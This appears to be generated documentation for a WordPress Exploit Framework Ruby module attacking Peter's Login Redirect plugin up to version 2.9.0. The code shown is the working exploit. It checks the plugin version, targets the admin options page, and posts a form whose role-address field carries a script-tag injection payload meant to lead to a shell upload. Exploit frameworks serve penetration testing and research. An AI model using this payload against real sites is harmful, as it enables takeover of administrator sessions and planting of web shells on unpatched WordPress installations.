class Wpxf::Exploit::PetersLoginRedirectReflectedXssShellUpload

Public Class Methods

new() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'Peter\'s Login Redirect <= 2.9.0 Reflected XSS Shell Upload',
    author: [
      'Yorick Koster', # Disclosure
      'rastating'      # WPXF module
    ],
    references: [
      ['WPVDB', '8602'],
      ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_cross_site_request_forgery_in_peter_s_login_redirect_wordpress_plugin.html']
    ],
    date: 'Aug 15 2016'
  )

  register_options([
    StringOption.new(
      name: 'user_role',
      desc: 'The user role to store the script against',
      default: 'Administrator',
      required: true
    )
  ])
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 32
def check
  check_plugin_version_from_changelog('peters-login-redirect', 'readme.txt', '2.9.1')
end
initial_script() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 44
def initial_script
  create_basic_post_script(
    vulnerable_url,
    'rul_role' => user_role,
    'rul_role_address' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
    'rul_role_logout' => '',
    'rul_role_submit' => 'Add role rule'
  )
end
user_role() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 36
def user_role
  datastore['user_role'].downcase
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 40
def vulnerable_url
  normalize_uri(wordpress_url_admin, 'options-general.php?page=wplogin_redirect.php')
end